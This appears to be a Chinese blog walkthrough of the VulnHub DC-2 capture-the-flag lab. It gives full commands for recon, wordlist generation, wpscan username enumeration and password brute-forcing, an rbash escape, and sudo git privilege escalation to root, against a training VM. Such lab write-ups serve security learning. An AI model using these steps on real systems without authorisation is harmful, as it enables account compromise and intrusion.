VulnHub_DC-2

信息收集

探测目标主机IP地址

arp-scan -l

nmap -sV -A -p- 192.168.157.143

得知开启80端口的http服务与7744端口开启的ssh

访问网站拿flag1

访问发现有域名但看不到ip,原因是DNS未转换

在windows中 DNS的域名文件在 C:\windows\system32\drivers\etc\hosts

修改添加映射关系

cd C:\Windows\System32\drivers\etc
notepad hosts

注意:这里要用管理员权限启动cmd,否则将无权限修改hosts文件

修改后访问成功

得到flag1

登录网站拿flag2

flag1提示 使用 cewl 生成字典

cewl http://dc-2/ -w dict.txt

都让我们生成字典了,肯定是有登录界面

这里用dirsearch扫目录

dirsearch -u http://dc-2/ -e *

找到登录界面,访问成功

目前只有密码字典,所以还需要使用 wpscan 枚举 WordPress 站点中注册过的用户名,来制作用户名字典

wpscan --url http://dc-2/ -e u

将得到的用户名存入 user.txt,与之前生成的 dict.txt 结合对网站进行爆破

wpscan --url http://dc-2/ -U user.txt -P dict.txt

成功得到jerry用户与tom用户的密码

登录jerry用户,在Pages内拿到flag2

ssh拿flag3

尝试ssh登录,jerry的密码错误,tom用户成功登录

查看发现flag3

当前为 rbash,是被限制的 Shell,所以可以考虑进行 rbash 绕过。

它与一般shell的区别在于会限制一些行为,让一些命令无法执行

查看下当前可用命令

compgen -c

这里用vi查看即可

flag3:Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes

rbash绕过拿flag4

flag3中包含 Jerrysu ,所以猜测需要使用 su jerry 登录到 jerry 用户下,尝试后发现 su 命令无法使用,所以下一步尝试进行 rbash 绕过

BASH_CMDS[a]=/bin/sh;a       #注:把 /bin/sh 给a变量并调用
export PATH=$PATH:/bin/ #注:将 /bin 作为PATH环境变量导出
export PATH=$PATH:/usr/bin #注:将 /usr/bin 作为PATH环境变量导出

绕过成功,登录jerry用户,拿到flag4

git提权拿flag5

文本内提到 git,考虑git提权,查看可用命令

sudo -l

git命令可以使用root权限,证实我们的观点

sudo git help config

在编辑模式下输入!/bin/sh即可看到提权成功

开启交互

python -c "import pty;pty.spawn('/bin/bash')"

得到flag5

简单总结

与DC-1相比新增了修改 hosts 文件来访问网站,使用工具 wpscan ,rbash绕过,git 提权的知识

再推荐一篇关于rbash的好文

VulnHub_DC-2渗透流程的更多相关文章

  1. 『安全科普』WEB安全之渗透测试流程

    熟悉渗透流程,攻击会像摆积木一样简单! 0x 01:信息收集 收集网站信息对渗透测试非常重要,收集到的信息往往会让你在渗透中获得意外惊喜. 1. 网站结构 可以使用扫描工具扫描目录,主要扫出网站管理员 ...

  2. 【转】WEB安全之渗透测试流程

    熟悉渗透流程,攻击会像摆积木一样简单! 0x 01:信息收集 收集网站信息对渗透测试非常重要,收集到的信息往往会让你在渗透中获得意外惊喜. 1. 网站结构 可以使用扫描工具扫描目录,主要扫出网站管理员 ...

  3. 安全学习概览——恶意软件分析、web渗透、漏洞利用和挖掘、内网渗透、IoT安全分析、区块链、黑灰产对抗

    1 基础知识1.1 网络熟悉常见网络协议:https://www.ietf.org/standards/rfcs/1.2 操作系统1.3 编程2 恶意软件分析2.1 分类2.1.1 木马2.1.2 B ...

  4. DC-9 靶机渗透测试

    DC-9 渗透测试 冲冲冲,好好学习 DC系列的9个靶机做完了,对渗透流程基本掌握,但是实战中出现的情况千千万万,需要用到的知识面太广了,学不可以已. 靶机IP: 172.66.66.139 kali ...

  5. 实例讲解 SQL 注入攻击

    这是一篇讲解SQL注入的实例文章,一步一步跟着作者脚步探索如何注入成功,展现了一次完整的渗透流程,值得一读.翻译水平有限,见谅! 一位客户让我们针对只有他们企业员工和顾客能使用的企业内网进行渗透测试. ...

  6. 利用Axis2默认口令安全漏洞可入侵WebService网站

    利用Axis2默认口令安全漏洞可入侵WebService网站 近期,在乌云上关注了几则利用Axis2默认口令进行渗透测试的案例,大家的渗透思路基本一致,利用的技术工具也大致相同,我在总结这几则案例的基 ...

  7. metasploit 教程之基本参数和扫描

    前言 首先我也不知道我目前的水平适不适合学习msf. 在了解一些msf之后,反正就是挺想学的.就写博记录一下.如有错误的地方,欢迎各位大佬指正. 感激不尽.! 我理解的msf msf全程metaspl ...

  8. Metasploit 学习

    知识准备:CCNA/CCNP基础计算机知识框架:操作系统.汇编.数据库.网络.安全 木马.灰鸽子.口令破解.用后门拷贝电脑文件 渗透测试工程师 penetration test engineer &l ...

  9. Web安全工程师(进阶)课程表

    01-SQL注入漏洞原理与利用 预备知识: 了解HTTP协议,了解常见的数据库.脚本语言.中间件.具备基本的编程语言基础. 授课大纲: 第一章:SQL注入基础 1.1 Web应用架构分析1.2 SQL ...

  10. 利用Axis2默认口令安全漏洞入侵WebService网站

    近期,在黑吧安全网上关注了几则利用Axis2默认口令进行渗透测试的案例,大家的渗透思路基本一致,利用的技术工具也大致相同,我在总结这几则案例的基础之上进行了技术思路的拓展.黑吧安全网Axis2默认口令 ...

随机推荐

  1. 【OpenVINO™】在 C# 中使用OpenVINO™ 部署PP-YOLOE实现物体检测

     前言 OpenVINO C# API 是一个 OpenVINO 的 .Net wrapper,应用最新的 OpenVINO 库开发,通过 OpenVINO C API 实现 .Net 对 OpenV ...

  2. linux 文件的特殊权限:suid sgid sticky

    目录 一.关于文件的特殊权限 二.suid 三.SGID 四.Stickybit 一.关于文件的特殊权限 1.文件与目录设置不止基础权限:r,w,x,还有所谓的特殊权限.特殊权限会拥有一些" ...

  3. Java21新特性-虚拟线程

    虚拟线程是轻量级线程(类似于 Go 中的 "协程(Goroutine)"),可以减少编写.维护和调度高吞吐量并发应用程序的工作量. 线程是可供调度的最小处理单元,它与其他类似的处理 ...

  4. 如何解决 IntelliJ Idea 编译 Java 项目时,找不到包或找不到符号的问题?

    执行 Maven Reimport 描述: 重新导入 Maven 包. 操作步骤: -> 选择 Project 目录右键 -> Maven -> Reimport 执行 Invali ...

  5. 使用node压缩js

    先下载并安装Node 安装完成后打开cmd运行:node -v 运行:npm -v 确定node安装成功,然后安装uglifyjs,打开cmd输入下面命令: npm install uglify-js ...

  6. Java交换map的key和value值

    在Java中,我们都知道直接交换Map的key和value是不被允许的,因为Map的接口设计是基于key-value对的,其中key是唯一的,并且是不可变的(在HashMap等常见的实现中,虽然key ...

  7. itest(爱测试)开源接口测试&敏捷测试&极简项目管理 6.6.6 发布,新增接口mock

    (一)itest 简介及更新说明 itest 开源敏捷测试管理,testOps 践行者,极简的任务管理,测试管理,缺陷管理,测试环境管理,接口测试,接口Mock 6合1,又有丰富的统计分析.可按测试包 ...

  8. k8s核心组件详解和分层架构

    k8s核心组件 master中的核心组件 api-server(接口服务,基于rest风格开放k8s接口的服务) kube-controller-manager(管理各个类型的控制器,针对k8s中的各 ...

  9. map数据类型

      MAP数据类型是一个类似于对象的数据类型             大型项目中会经常使用                      通过 构造函数来定义MAP数据类型             con ...

  10. LeetCode 409. Longest Palindrome 最长回文串(C++/Java)

    题目: Given a string which consists of lowercase or uppercase letters, find the length of the longest ...